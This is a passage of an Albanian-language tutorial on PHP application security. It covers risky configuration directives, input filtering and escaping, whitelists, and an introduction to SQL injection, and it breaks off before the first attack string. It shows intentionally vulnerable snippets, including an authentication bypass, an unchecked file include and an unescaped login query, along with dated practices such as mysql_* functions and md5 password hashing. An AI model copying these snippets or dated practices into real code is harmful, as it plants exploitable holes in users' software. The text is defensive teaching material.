Aplikacionet PHP kanë vuajtur prej vitesh nga probleme tipike sigurie dhe për fat të keq, vazhdojnë të vuajnë. Siguria nuk është temë që përfshin vetëm PHP në fakt, sepse çdo platformë e ekspozuar përfshihet nga rreziqet. Por, popullariteti i PHP-së, disa funksione të gjuhës, aplikacionet Open Source dhe më e rëndësishmja, padituria e programuesëve, e kanë bërë gjuhën të jetë më e shënjestruara nga keqbërësit.
Në këtë guidë do ju tregoj rastet tipike që një sulmues përdor për të përftuar nga një aplikacion PHP. Do të përfshij disa koncepte bazë që duhen respektuar përgjithësisht gjatë kodimit dhe shembuj konkretë sulmimi dhe mbrojtjeje. Duke qenë se vetëm një pjesë e vogël merret me opsione konfigurimi të PHP, praktikisht të gjitha teknikat mund të implementohen në gjuhë të tjera programimi për web. Mbani mend që siguria nuk është problem i një gjuhe. Edhe pse PHP ka disa opsione konfigurimi që s’mund të quhen zgjedhje të mira, në fund, përgjegjësia është tërësisht e programuesit. Nuk mund të fajësosh gjuhën për zgjedhje të gabuara në kodim apo mos dituri në limitet e saj.
Cilët Janë Sulmuesit
Si ç’do lexoni në vazhdim të guidës, fjalën “sulmues” do e përdor shpesh për t’ju referuar dikujt që tenton të gjejë vrima sigurie në aplikacione. E vërteta është se jo çdo person është negativ. Ndërsa disa mund të kenë qëllime përfitimi, si marrja e emaileve (për lista spam) apo e kartave të kreditit të anëtarëve, disa të tjerë mund ta bëjnë për hobi ose për të mësuar dhe nëse arrijnë ta thyejnë, me siguri do ju kontaktojnë për ta rregulluar. Nëse ndodh kjo e fundit, ju këshilloj nga eksperienca që ta lini egon mënjanë dhe ta konsideroni prioritar çdo lajmërim në lidhje me sigurinë. Nuk është çudi që një sulmues me qëllime të mira të kthehet kundra jush nëse e sheh që nuk ktheni përgjigje ose i përgjigjeni në mënyrën e gabuar.
Si do të jetë qëllimi i sulmuesit, ky i fundit mbetet një rrezik për sistemin dhe si ç’do mësoni më poshtë, askush nuk besohet.
Muri Mbrojtës
Siguria më e mirë vjen nga të qenurit paranoik dhe mos besimi i askujt. Gjatë të gjithë historisë së njerëzimit, mbretëritë ndërtonin mure mbrojtës për të lënë jashtë këdo që s’i përkiste dhe për t’ja bërë jetën ferr sulmuesëve. Sot, në botën e civilizuar, përdoren mjete si kamera dhe sisteme alarmi për të identifikuar dhe lajmëruar çdo “sulm” të mundshëm. Kur jashtë në rrugë jemi kaq paranoik, pse mos të jemi edhe në aplikacionet që kodojmë?
Besoj e kuptuat ku dua të dal! Mbrojtja më e mirë është mos besimi dhe ndërtimi i aplikacioneve në mënyrë të tillë ku çdo vizitor konsiderohet si sulmues. Ashtu si jo çdo person që futet në një qendër tregtare të monitoruar me kamera është keqbërës, edhe në aplikacione PHP jo çdo vizitor është sulmues. Problemi qendron se është e pamundur të parashikohet dhe nëse konsiderohen të gjithë “sulmues”, ju siguroj që do të jetë shumë më e lehtë të lini jashtë ata që vërtetë kanë qëllime keqdashëse. Mbrojtja nga sulmet duhet të kthehet në filozofi gjatë projektimit dhe programimit të sistemeve, jo thjeshtë në disa teknika tipike.
Për ta bërë pak më praktike, ideja e mos besimit të askujt do të thotë të mos besoni të dhënat hyrëse të askujt. Këto mund të jenë variabla në URL (GET), forma, sesione apo cookies. Praktikisht çdo e dhënë që mund të manipulohet në një sistem, konsiderohet si e dhënë hyrëse dhe absolutisht nuk duhet besuar. Nëse nuk dini akoma si ti identifikoni të dhënat hyrëse, mos u merakosni sepse në vazhdim do të qartësoheni.
Konfigurimi i PHP-së
PHP ka disa opsione konfigurimi që janë menduar të ndihmojnë programuesit të ndërtojnë aplikacione më solide, por që nga praktika kanë rezultuar më tepër problematik se sa të nevojshëm. Kjo s’është bërë me qëllim, sepse arkitektura e PHP-së dhe serverave ku egzekutohet ka ndryshuar shumë që nga versionet fillestare dhe heqja e opsioneve është proçes gradual. Në këtë moment, shumë prej këtyre opsioneve konsiderohen të braktisur dhe me siguri do të hiqen nga qarkullimi me versionet e reja.
Këto opsione të PHP-së quhen direktiva dhe përbëjnë konfigurimin e gjuhës. Vlerat mund të ndryshohen në php.ini (zakonisht: /etc/php.ini), me një php.ini të veçantë në hostet që e lejojnë, me një skedar .htaccess ose direkt me kod PHP përmes funksionit ini_set(). Alternativa më e mirë do të ishte ndryshimi direkt i php.ini në mënyrë që ndryshimet të jenë globale dhe jo specifike për aplikacione të ndryshme.
Register Globals
Register Globals është një direktivë e menduar për të thjeshtësuar manipulimin e variablave superglobale që vijnë nga format, url, cookie dhe sesionet. Vlerat e të gjitha variablave superglobale deklarohen automatikisht në kod PHP në variabla me të njëjtët emra. Për ta shpjeguar më mirë, supozojmë se kam një URL të tillë: index.php?faqja=rreth-nesh. Me register_globals të aktivizuar, parametrin “faqja” në adresë do mund ta përdorja në këtë formë:
| PHP | | Kopjo Kodin | | ? |
| 1 | <?php |
| 2 | echo $faqja; //do te printonte 'rreth-nesh' |
| 3 | ?> |
Duket e thjeshtë, por në të vërtetë është problematike. Praktikisht çdo variabël superglobale do të regjistrohej me një emër variable të njëjtë me vetë emrin e superglobales, përfshi këtu çdo tip. Pra, nëse do krijoja një parametër në URL me emrin “identifikuar” dhe një cookie me po të njëjtin emër, aplikacioni do kthehej në një lëmsh variablash të injektuara që potencialisht mbivendosin njëra tjetrën dhe hapin probleme të rënda sigurie. Për të ilustruar një problem tipik sigurie që vjen nga register_globals, po ju tregoj një shembull nga vetë manuali i PHP-së (sigurisht i kthyer në Shqip).
| PHP | | Kopjo Kodin | | ? |
| 01 | <?php |
| 02 | /* |
| 03 | Vendos $identifikuar = true nese perdoruesi eshte identifikuar |
| 04 | */ |
| 05 | if (identifiko_perdoruesin()) { |
| 06 | $identifikuar = true; |
| 07 | } |
| 08 | |
| 09 | /* |
| 10 | Nese $identifikuar eshte true, perfshihet nje skedar PHP qe permban |
| 11 | te dhena sensitive. Duke qene se $identifikuar nuk eshte deklaruar |
| 12 | fillimisht me vleren "false", kodit mund ti injektohet vlera e |
| 13 | variables $identifikuar permes nje variable superglobale. |
| 14 | Psh: faqja.php?identifikuar=1 do e regjistronte variablen |
| 15 | $identifikuar me vleren 1 (true) dhe do i lejonte akses hyrje |
| 16 | ne te dhenat sensitive kujtdo. |
| 17 | */ |
| 18 | if ($identifikuar) { |
| 19 | include "/admin/te-dhena-sensitive.php"; |
| 20 | } |
| 21 | ?> |
Do të ishte fatale nëse aplikacioni juaj do lejonte diçka të tillë, apo jo? Jo vetëm që register_globals injekton variabla në aplikacion duke e bërë burimin të vështirë të dallohet, por nëse nuk tregohet vëmendja e duhur, mund të rezultojë në probleme madhore sigurie. Çaktivizojeni që të jeni më të ndërgjegjshëm si dhe nga vijnë të dhënat hyrëse dhe përdorni variablat superglobale për secilën kërkesë: $_POST, $_GET, $_COOKIE dhe $_SESSION.
| INI | | Kopjo Kodin | | ? |
| 1 | register_globals = off |
Shumë ekspertë nuk ja vejnë fajin Register Globals për problemet që sjell, por vetë programuesëve. Edhe pse është e vërtetë që programuesi duhet të jetë më i përgjegjshëm në ato që kodon, kjo s’do të thotë që çdo zgjedhje në arkitekturën e gjuhës është e saktë. Për mendimin tim, Register Globals është zgjedhje e gabuar dhe rezultatet e kanë treguar. Në momentin që gjuha fillon të supozojë, është e sigurtë që ka probleme. Programuesi është ai që merr vendimet dhe gjuha duhet të mjaftohet ti ofrojë ndihmën për të arritur qëllimet, jo të “mendojë” për të!
Superglobalja $_REQUEST
Kjo nuk është direktivë e PHP-së, por një konstrukt i gjuhës dhe disa mund të argumentojnë se nuk është problem sigurie, por për mendimin tim (të cilin do e shpjegoj), sjell po aq probleme sigurie sa Register Globals. Praktikisht, $_REQUEST është shumë e ngjashme me Register Globals sepse tenton të ofrojë një variabël superglobale që mban vlerat e POST, GET, COOKIE dhe SESSION. Edhe këtu, origjina e të dhënave është e pa kuptueshme dhe si rrjedhim, mund të hapen vrima sigurie shumë të ngjashme me Register Globals të aktivizuar. I vetmi ndryshim është se kodi nuk injektohet nga variabla, por e ka në dorë programuesi ti përdorë ose jo.
Shembulli më poshtë tenton t’ju ilustrojë një rast ku përdorimi i pa ndërgjegjshëm i $_REQUEST mund të sjellë një problem të madh sigurie.
| PHP | | Kopjo Kodin | | ? |
| 01 | <?php |
| 02 | /* |
| 03 | Kontrollohet nese eshte vendosur sesioni 'identifikuar', |
| 04 | sesion i cili eshte krijuar ne login. Duke qene se nuk |
| 05 | ka burim te specifikuar, nje sulmues mjafton te vendose nje |
| 06 | parameter ne URL apo te krijoje nje COOKIE me emrin 'identifikuar' |
| 07 | per te marre direkt akses ne te dhena sensitive. |
| 08 | */ |
| 09 | if (isset($_REQUEST['identifikuar'])) { |
| 10 | include('admin/sensitive.php'); |
| 11 | } |
| 12 | ?> |
Edhe pse shembulli është pak naiv, demonstron se përdorimi i $_REQUEST sjell të njëjtin problem si Register Globals: mos njohja e burimit. Mjafton të përdorni superglobalet e duhura për secilën tip kërkese: $_POST, $_GET, $_COOKIE dhe $_SESSION.
Magic Quotes
Magic Quotes është një direktivë që tenton ti pastrojë (escape) të dhënat nga POST, GET, COOKIE dhe SESSION automatikisht, për të shmangur problemet që sjellin kur ato të dhëna kërkohen të futen në databazë. Problemi qëndron se sërish gjuha “mendon” për ty, kur në fakt duhet të jetë programuesi ai që zgjedh nëse të dhënat duhet të pastrohen dhe të jetë i ndërgjegjshëm për këtë. Për më tepër, pastrimi nuk kryhet sipas specifikave të databazës që përdoret, gjë që e bën të rrezikshme. Çaktivizojeni si më poshtë:
| INI | | Kopjo Kodin | | ? |
| 1 | ; Magic Quotes per superglobalet GET/POST/Cookie. |
| 2 | magic_quotes_gpc = Off |
| 3 | |
| 4 | ; Magic Quotes per te dhena ne kohe reale: sql, exec(), etj. |
| 5 | magic_quotes_runtime = Off |
| 6 | |
| 7 | ; Magic Quotes ne stilin Sybase: ' me '', ne vend te \'. |
| 8 | magic_quotes_sybase = Off |
Në vend që të mbështeteni tek Magic Quotes, përdorni manualisht funksionet specifikë të databazë. Për MySQL, do të shkruani një kod të tillë:
| PHP | | Kopjo Kodin | | ? |
| 1 | <?php |
| 2 | $emri = $_POST['emri']; |
| 3 | //emri i pastruar |
| 4 | $emri_p = mysql_real_escape_string($emri); |
| 5 | ?> |
Gabimet e Egzekutimit
PHP ka disa direktiva për gabimet e egzekutimit që duhet të përdoren në varësi të rastit. Le ti shohim me rradhë.
error_reporting është direktiva që vendos nivelin e raportimit të gabimeve. E mira është të aktivizoni nivelin maksimal të raportimit që të shihni çdo gabim të mundshëm që ndodh. Vendoseni në E_ALL ose më mira akoma, në E_ALL | E_STRICT për të parë edhe opsionet e abandonuara. Ndryshe nga direktivat e tjera që mund të vendosen gjatë egzekutimit me ini_set(), raportimi i gabimeve vendoset me funksionin error_reporting(). Sidoqoftë, si ç’e përmenda më sipër, alternativa më e mirë është ta vendosni në php.ini për te pasur efekt global.
| INI | | Kopjo Kodin | | ? |
| 1 | error_reporting = E_ALL | E_STRICT |
display_errors është një direktivë që përcakton nëse duhet të shfaqen gabimet ose jo. Në servera produksioni nuk do donit që vizitorët të shihnin çfarë gabimesh ndodhin gjatë egzekutimit. Për më tepër, sulmuesit mund të marrin të dhëna të rëndësishme si emra tabelash dhe kolonash në databazë. Në server testimi mbajeni të aktivizuar, ndërsa në produksion çaktivizojeni.
| INI | | Kopjo Kodin | | ? |
| 1 | display_errors = Off |
logs_errors është një direktivë që nëse aktivizohet, ruan gabimet në një skedar të caktuar. Në servera produksioni, ku display_errors është çaktivizuar, kjo është mënyra më e mirë për të monituar gabimet. Do ju ndihmojë te identifikoni probleme logjike në aplikacion, por gjithashtu edhe tentativa potenciale sulmesh nga dështimi i query-ve. Për të vendosur skedarin ku gabimet ruhen, duhet të vendosni direktivën error_log.
| INI | | Kopjo Kodin | | ? |
| 1 | log_errors = On |
| 2 | ; Mund te perdorni "syslog" si vlere e error_log per ti ruajtur gabimet ne logger-in e sistemit |
| 3 | error_log = /logs/gabimet.log |
Safe Mode
Safe Mode është një direktivë e menduar për të ofruar mbrojtje në serverat shared, ku në një server mund të ruhen dhjetëra apo qindra klientë të ndryshëm. Ideja këtu është që Safe Mode kontrollon nëse një skedar ka të njëjtin “owner” (në kuptimin e të drejtave) me skriptin që po tenton ta lexojë apo ta shkruajë. Tentativa është të bllokojë aksesin nga klientë të tjerë në skedarë që nuk i përkasin atij. Edhe pse mendimi është i mirë dhe nëse do ishte efektiv, do bllokonte shumë probleme sigurie në servera shared, problemi qëndron se është e gabuar në nivel arkitekturor që të tilla çështje të zgjidhen nga PHP. Kjo pranohet në vetë manualin e PHP-së dhe nuk këshillohet që siguria të mbështetet në Safe Mode.
Në nivelin e PHP-së, Safe Mode funksionon pothuajse mirë. Por, kontrolli bëhet për PHP dhe përgjegjësia mbaron aty. Nëse tentohen të lexohen skedarë të huaj me Python, Perl apo çdo gjuhë tjetër që mund të egzekutohet në server, rezultati është drastik. Qëllimi i kësaj guide nuk është t’ju tregojë si të mbroni skedarë sensitivë në një server shared, përndryshe do zgjatej pa fund, por thjeshtë mbani mend të mos mbështeteni tek Safe Mode.
| INI | | Kopjo Kodin | | ? |
| 1 | safe_mode = Off |
Filtrimi dhe Pastrimi i të Dhënave
Në fillim të guidës ju thashë që s’duhet ti besoni askujt dhe duhet ta konsideroni këdo si një sulmues potencial. Kjo s’do të thotë thjeshtë që duhet ti shihni me dyshim vizitorët, se fundja nuk zgjidh shumë. Do të thotë se nuk duhet ti besoni të dhënave hyrëse. Çfarë janë këto të dhëna? Jo vetëm ato që vizitorëve u kërkohet të plotësojnë, por edhe ato që mund të manipulohen nga vizitorët, qofshin parametra GET, COOKIE, SESSION apo POST. Gabimi që programuesit bëjnë është supozimi se një teknikë nuk funksionon thjeshtë sepse ata s’e kanë dëgjuar ose sepse është e komplikuar të kryhet. Një sulmues që i ka vënë vetes qëllim të përftojë nga sistemi juaj, nuk do ndalojë lehtë. E vetmja mënyrë për t’ja bërë jetën e vështirë është të merrni të gjitha masat e mundshme.
Të dhënat hyrëse duhet të kalojnë në dy proçese: filtrim dhe pastrim. Të filtrosh të dhënat do të thotë që ti kthesh ato në një format të caktuar apo të sigurohesh që përmbajtja e tyre është e vlefshme. Në këtë mënyrë limitohet shumë fusha e veprimit të një sulmuesi, sepse i bllokon lirinë në manipulimin e të dhënave. Ndërsa të pastrosh të dhëna do të thotë që të fshish apo transformosh karaktere të caktuara të cilat mund të thyejnë query SQL apo të krijojnë probleme të përgjithshme sigurie. Pastrimin do e prek pak sepse do jetë më tepër në fokus në seksionet në vijim.
Pastrimi i të Dhënave që Përdoren në Query
Të dhënat që përdoren në query SQL janë ato që krijojnë problemet më të përhapura. Sulmi tipik do ishte SQL Injection, për të cilin do ju flas me detaje në vijim. Për tani, ju duhet të dini që të dhënat hyrëse që përdoren në një query SQL, duhen pastruar.
| PHP | | Kopjo Kodin | | ? |
| 1 | <?php |
| 2 | $emri = mysql_real_escape_string($_POST['emri']); |
| 3 | $rezultatet = mysql_query("SELECT * FROM vizitoret WHERE emri='$emri'"); |
| 4 | ?> |
Funksioni mysql_real_escape_string() bën veprimet e duhura për ta pastruar tekstin nga karakteret që mund të thyejnë një query. Versione specifike të SQL përdorin funksione të ndryshëm, prandaj konsultoni manualin.
Pastrimi i Tageve HTML
Një aplikacion që i lejon vizitorët të fusin kod arbitrar HTML, automatikisht është vulnerabël ndaj një prej sulmeve më të përhapur: XSS (Cross Site Scripting). Për teknikën do ju flas me detaje në vijim, por për tani ju duhet të dini që çdo e dhënë hyrëse e cila në një moment do të printohet në faqe, duhet pastruar nga taget HTML. Mënyra më e mirë është duke përdorur funksionin htmlentities(), i cili i kthen taget HTML në entitite dhe i bën të shfaqen si tekst i thjeshtë dhe jo si kod.
| PHP | | Kopjo Kodin | | ? |
| 1 | <?php |
| 2 | $mesazhi = htmlentities($_POST['mesazhi']); |
| 3 | echo $mesazhi; |
| 4 | ?> |
Pastrimi i Komandave të Sistemit
PHP ofron një set funksionesh të specializuar për të egzekutuar komanda sistemi. Pra, përmes PHP mund të kryejmë veprime dhe të marrim rezultatin në nivel sistemi operativ. Funksionet vijnë me disa emra të cilët janë në thelb të njëjtë, por kryesisht ndryshojnë nga kthimi i rezultatit. Ndryshimi midis secilit është jashtë qëllimit të kësaj guide, prandaj do të fokusohem në atë që personalisht preferoj: exec(). Gjithçka vlen edhe për funksionet e tjera, si: system(), passthru(), etj.
Le të themi se dua të egzekutoj një komandë në një sistem Linux, ku dua të listoj të gjithë skedarët, përfshi ata të fshehurit. Komanda në këtë rast do të ishte: “ls -a”. Kthimi i rezultatit (output-i) në këtë rast s’na intereson, kështu që e mbajmë të thjeshtë:
| PHP | | Kopjo Kodin | | ? |
| 1 | <?php |
| 2 | exec('ls -a'); |
| 3 | ?> |
Fare e thjeshtë, apo jo? Edhe pse një funksion i fuqishëm që përdor direkt sistemin operativ, fuqia është aq e madhe sa që nëse nuk përdoret me kujdes, mund ti lihet një sulmuesi akses direkt në sistem. Normalisht, duhet të shmangni përdorimin e tij dhe të përdorni funksionet e PHP-së. Nëse patjetër duhet ti përdorni, të paktën tregohuni super të kujdesshëm!
Një problem i madh që mund të lindë me egzekutimin e komandave të sistemit është kur këto komanda vijnë nga të dhëna hyrëse. Sulmuesit mund të vendosin karaktere që i lejojnë të egzekutojnë komanda të futura nga ata, për ta bërë teknikën tmerrësisht të rrezikshme. Për fat të mirë, PHP ofron dy funksione për ti pastruar karakteret që mund të thyejnë një komandë sistemi. Shikoni shembullin e thjeshtë më poshtë:
| PHP | | Kopjo Kodin | | ? |
| 1 | <?php |
| 2 | $komanda = escapeshellcmd($_GET['kom']); |
| 3 | $argumentet = escapeshellarg($_GET['arg']); |
| 4 | |
| 5 | exec("$komanda $argumentet"); |
| 6 | ?> |
Validimi i Tipit të të Dhënave
Në shumë raste, të dhënat hyrëse mjafton të jenë një tip i caktuar. Kjo është tipike për ID-të në databazë, të cilat janë numerike. Po ju tregoj një shembull të një kodi me të dhëna hyrëse të pa validuara, duke supozuar që kemi një parameter GET ‘id’: index.php?id=xx.
| PHP | | Kopjo Kodin | | ? |
| 1 | <?php |
| 2 | $id = $_GET['id']; |
| 3 | |
| 4 | $rezultatet = mysql_query("SELECT titulli, permbajtja FROM artikujt WHERE id=$id"); |
| 5 | ?> |
Kam marrë ID-në nga superglobalja $_GET për ta përdorur në një query SQL. Do shihni që në query, variablën $id e kam shkruar pa thonjëza për ta trajtuar si numër. Kjo është tërësisht normale dhe funksionon shumë mirë, por ka një problem të madh! Çfarë ndodh nëse parametri GET modifikohet nga një sulmues për ta bërë string? Query do të dështojë! Ky s’është i vetmi problem, sepse fundja nuk është fundi i botës nëse një query dështon. Problemi i madh është se i hap rrugën sulmuesit për të kryer veprime shumë më të rrezikshme si SQL Injections. Për të do të flas më tej gjatë guidës, por për tani ju duhet të dini që lejimi i një të dhëne të tillë të pa validuar është e rrezikshme.
Validimi në këtë rast është i thjeshtë sepse e dimë që ID do të jetë numër. Në PHP ka disa alternativa për të kontrolluar tipin e të dhënave ose për ta konvertuar atë. Shikoni shembujt më poshtë.
Përdor type casting për ta detyruar $id-në të kthehet në INT (integer – numër i plotë). Kjo është mënyrë e mirë për të validuar sepse nuk bën thjeshtë krahasim, por e konverton.
| PHP | | Kopjo Kodin | | ? |
| 01 | <?php |
| 02 | /* |
| 03 | E kthej $id-ne ne integer. Cfaredo vlere te permbaje, nese eshte e mundur |
| 04 | te kthehet ne nje numer te vlefshem, do te kthehet. Ne rastet kur eshte e pamundur |
| 05 | do te kthehet ne 0. Psh: 145abc#' => 145, abc9483 => 0 |
| 06 | */ |
| 07 | $id = (int) $_GET['id']; |
| 08 | |
| 09 | $rezultatet = mysql_query("SELECT titulli, permbajtja FROM artikujt WHERE id=$id"); |
| 10 | |
| 11 | /* |
| 12 | Kontrollon nese query nuk ka kthyer te pakten nje rezultat dhe shfaq nje mesazh |
| 13 | per te lajmeruar qe artikulli nuk egziston. |
| 14 | */ |
| 15 | if (!mysql_num_rows($rezultatet)) { |
| 16 | echo 'Artikulli nuk egziston'; |
| 17 | } |
| 18 | ?> |
Përdor funksionin ctype_digit() për të kontrolluar nëse të gjitha karakteret janë numra. Edhe nëse një karakter i vetëm nuk është numër, funksioni kthen FALSE. Kini kujdes sepse para PHP 5.1.0, ctype_digit() kthente TRUE edhe nëse vlera ishte bosh.
| PHP | | Kopjo Kodin | | ? |
| 01 | <?php |
| 02 | $id = $_GET['id']; |
| 03 | |
| 04 | /* |
| 05 | Nese ctype_digit() kthen TRUE, do te thote qe $id eshte numer. |
| 06 | Ne te kundert, shfaq nje mesazh gabimi. |
| 07 | */ |
| 08 | if (ctype_digit($id)) { |
| 09 | $rezultatet = mysql_query("SELECT titulli, permbajtja FROM artikujt WHERE id=$id"); |
| 10 | } else { |
| 11 | echo 'Identifikuesi i Artikullit eshte i pavlefshem'; |
| 12 | } |
| 13 | ?> |
Përdor funksionin filter_var() që nga PHP 5.2. Ky funksion është pak më fleksibël se dy metodat më sipër sepse tenton ta konvertojë në një tip të dhëne të caktuar (në rastin tonë në INT), por gjithashtu kthen FALSE nëse konvertimi nuk ishte i suksesshëm.
| PHP | | Kopjo Kodin | | ? |
| 01 | <?php |
| 02 | /* |
| 03 | Tenton ta konvertoje ne INT (permes filtrit FILTER_VALIDATE_INT). |
| 04 | Nese eshte numer (qofte edhe numer si string), do te ktheje vete numrin. |
| 05 | Nese nuk eshte numer, do te tkheje false. |
| 06 | */ |
| 07 | $id = filter_var($_GET['id'], FILTER_VALIDATE_INT); |
| 08 | |
| 09 | /* |
| 10 | Nese nuk kthen FALSE, do te thote se $id eshte INT. |
| 11 | */ |
| 12 | if ($id) { |
| 13 | $rezultatet = mysql_query("SELECT titulli, permbajtja FROM artikujt WHERE id=$id"); |
| 14 | } else { |
| 15 | echo 'Identifikuesi i Artikullit eshte i pavlefshem'; |
| 16 | } |
| 17 | ?> |
Këto ishin tre teknika tipike për të validuar tipin e të dhënës dhe për të mënjanuar sulme, por edhe probleme logjike në aplikacion. Edhe pse unë u fokusova në numra për t’ju dhënë idenë, type casting, filter_var() dhe ctype_*() mund të përdoren për tipe të ndryshme të dhënash.
Listat e Bardha
Listat e bardha, ose si ç’mund ti keni dëgjuar në Anglisht, whitelists, janë mënyra më e mirë për të filtruar të dhënat të cilat njihen. Mendojeni sikur doni të bleni një celular dhe keni vendosur të jetë njëri prej tre modeleve: iPhone 4S, Nexus S dhe Galaxy S2. Praktikisht keni krijuar një listë të bardhë me tipet e celularëve që doni të merrni dhe çdo model tjetër nuk konsiderohet. Edhe në aplikacione web, logjika është e ngjashme.
Përfshirja e skedarëve PHP në mënyrë dinamike është një praktikë normale programimi. Mund të keni një parametër GET në bazë të të cilit përfshihet skedari PHP. Po ju tregoj një shembull ku s’përdor listë të bardhë. URL supozohet të jetë: index.php?faqja=xxx.
| PHP | | Kopjo Kodin | | ? |
| 01 | <?php |
| 02 | $faqja = $_GET['faqja']; |
| 03 | |
| 04 | /* |
| 05 | Supozoj qe parametri URL eshte ne formen: |
| 06 | "rreth" apo "kontakt" dhe skedari PHP eshte: |
| 07 | "rreth.php" apo "kontakt.php". |
| 08 | */ |
| 09 | include($faqja . '.php'); |
| 10 | ?> |
Nëse merrni kohën ta gjykoni shembullin më sipër, do kuptoni se ka një problem fatal sigurie. Variabla $faqja, e cila vjen nga GET, mund të ketë çfarëdo vlere dhe kodi s’bën asgjë për ta shmangur këtë. Imagjinoni që një sulmues të modifikojë parametrin “faqja” në URL në: ../admin/skedar-sensitiv. Kodi më sipër s’do t’ja dijë se cilin skedar po përfshin për aq kohë sa egziston. Sulmuesi mund të navigojë nëpër skedarë sistem dhe për aq kohë sa hamendëson emra skedarësh PHP, mund të gjejë të dhëna që nuk supozohej ti shihte. Imagjinoni nëse në include() nuk përfshihej pjesa “.php”, që në një farë mënyre e limiton veprimin. Do ishte e tmerrshme sepse sulmuesi do mund të lexonte gjithçka.
Për ta mënjanuar këtë problem do të përdor një listë të bardhë që përcakton çfarë skedarësh mund të përfshihen. Meqë jemi në temë, po ju përmend edhe direktivën e PHP-së: open_basedir(), e cila limiton fushën e veprimit në skedarë të caktuar. Edhe pse është zgjidhje e mirë të implementohet nëpër aplikacione, jo gjithmonë është e mundur dhe më e rëndësishmja, aplikacioni duhet të jetë i sigurt në nivel kodi më parë, dhe së dyti në nivel konfigurimi. Le të shohim shembullin e përdorimit të listës e mos të shpërqëndrohemi më tepër.
| PHP | | Kopjo Kodin | | ? |
| 01 | <?php |
| 02 | $faqja = $_GET['faqja']; |
| 03 | /* |
| 04 | Kam supozuar se jane disa faqe qe egzistojne. Emrat e seciles |
| 05 | i kam futur ne nje vektor. |
| 06 | */ |
| 07 | $lista = array('rreth-nesh', 'kontakt', 'produktet'); |
| 08 | |
| 09 | /* |
| 10 | in_array() kthen TRUE nese nje vlere egziston ne nje vektor. |
| 11 | Ne kete rast, kontrollon nese $faqja egziston ne vektorin $lista. |
| 12 | */ |
| 13 | if (in_array($faqja, $lista)) { |
| 14 | include("faqet/$faqja.php"); |
| 15 | } |
| 16 | ?> |
Fare pak kod më tepër, e thjeshtë për tu implementuar dhe tërësisht e sigurt. I vetmi problem që kodi ka është puna manuale që kërkon për të mbushur vektorin $lista me faqet. Për sisteme të vogla mund të mos jetë problem, por nëse numri i faqeve është i madh dhe rritet shpesh, mirëmbajtja do të bëhej e vështirë. Në ato raste, mund të shkruani një kod më dinamik si më poshtë.
| PHP | | Kopjo Kodin | | ? |
| 01 | <?php |
| 02 | $faqja = $_GET['faqja']; |
| 03 | /* |
| 04 | Nderton adresen e plote te faqes. |
| 05 | */ |
| 06 | $faqja = "faqet/$faqja.php"; |
| 07 | |
| 08 | /* |
| 09 | Glob kthen nje vektor me te gjithe skedaret qe ndodhen |
| 10 | brenda nje direktorie. Ne kete rast doja te gjithe skedaret |
| 11 | PHP, prandaj kam shkruar *.php. Vektori i kthyer do te jete |
| 12 | i formes: |
| 13 | |
| 14 | array('faqet/rreth-nesh.php', 'faqet/kontakt.php'); |
| 15 | */ |
| 16 | $lista = glob('faqet/*.php'); |
| 17 | |
| 18 | if (in_array($faqja, $lista)) { |
| 19 | include($faqja); |
| 20 | } |
| 21 | ?> |
Ata të fiksuar pas optimizimit, mund ti ruajnë rezultatet e glob() në një skedar tekst dhe ta rifreskojnë herë pas here. Një formë e thjeshtë caching. Sidoqoftë, pak mbi-ngarkesë ja vlen kur në temë hyn siguria dhe integriteti i të dhënave.
Mbani mend që të filtroni të dhënat qoftë sipas tipit apo përmes listave të bardha aty ku është e mundur. Jo vetëm që do të përmirësoni logjikën e aplikacionit, duke ofruar mesazhe në rast gabimesh, por edhe do pengoni disa probleme të rëndësishme sigurie. Megjithatë, në vijim do shihni që filtrimi i të dhënave është vetëm një pjesë e punës. Problemet kryesore të sigurisë lindin nga mos pastrimi i tyre.
SQL Injections
Besoj se në veshët e shumicës, SQL Injections është e dëgjuar. Në fakt, ky është problemi i sigurisë më i përhapur dhe “fajtor” i sulmimit të suksesshëm të një numri të papërcaktueshëm faqesh. Sidomos nëse kthehemi pak vite prapa në kohë, atëherë kur resurset e mësimit dhe praktikat e kodimit të mirë të pavendosura, dhe rrjedhimit programuesit të painformuar. Kanë kontribuar shumë edhe aplikacione me kod të hapur të koduara në mënyrën më të keqe të mundshme (PHP-Nuke?) që për fat të keq përdoreshin në masë.
SQL Injections janë sulme që synojnë databazat, si ç’mund ta kuptoni nga emri. Në thelb, sulmuesi modifikon të dhënat hyrëse për të manipuluar query-t SQL që të marrë informacionë, të shtojë ose në rastet ekstreme, edhe të fshijë tabela të tëra. E gjitha është një lojë nervash dhe fati, për të gjetur emrat e duhur të kolonave dhe tabelave në mënyrë që të marrin informacionet e rëndësishme si fjalëkalim administratori, emaile, karta krediti, etj. Në rastet ekstreme që përmend pak më parë, nëse të drejtat e lejojnë, mund edhe të fshihen tabela. Kjo është jo tipike, por jo se s’ka ndodhur…
SQL Injections prekin çdo sistem databazash që ndërvepron me SQL. Mund të jetë Oracle, MsSQL, MySQL, SQLite, etj. Në shembuj unë do përdor MySQL, si databaza de-facto në aplikacionet PHP.
Për ta demonstruar teknikën në veprim, le të shohim një shembull tipik: një formë e cila identifikon anëtarët. Përmban një formë HTML dhe pak kod PHP, të pa pastruar, që identifikon anëtarin.
| HTML | | Kopjo Kodin | | ? |
| 1 | <form method="post"> |
| 2 | <label>Emri</label> |
| 3 | <input type="text" name="emri" /> |
| 4 | <label>Fjalekalimi</label> |
| 5 | <input type="password" name="fjalekalimi" /> |
| 6 | <button type="submit">Identifikohu</button> |
| 7 | </form> |
| PHP | | Kopjo Kodin | | ? |
| 01 | <?php |
| 02 | if (isset($_POST['emri'])) { |
| 03 | $emri = $_POST['emri']; |
| 04 | $fjalekalimi = $_POST['fjalekalimi']; |
| 05 | |
| 06 | $fjalekalimi = md5($fjalekalimi); |
| 07 | |
| 08 | $rezultatet = mysql_query("SELECT * FROM anetaret WHERE emri='$emri' AND fjalekalimi='$fjalekalimi'") or die(mysql_error()); |
| 09 | if (mysql_num_rows($rezultatet)) { |
| 10 | include('paneli-anetarit.php'); |
| 11 | } |
| 12 | } |
| 13 | ?> |
Kodi më sipër e bën punën! Nëse anëtari fut një kombinim të saktë emri dhe fjalëkalimi, do të marrë akses në panelin e anëtarit. Ajo që shumë programues fillestarë (dhe ndonjëherë edhe ata me eksperiencë) nuk logjikojnë këtu është se po i japin dorë të lirë sulmuesëve të modifikojnë kodin SQL. Por, përpara se t’ju tregoj sa e lehtë është të mënjanohet problemi, po ju tregoj si mund të sulmohet forma e mësipërme.
Nëse fus në formë fus emrin: feniksi dhe fjalëkalimin: 123456, query SQL që do të egzekutohet do të jetë i tillë:
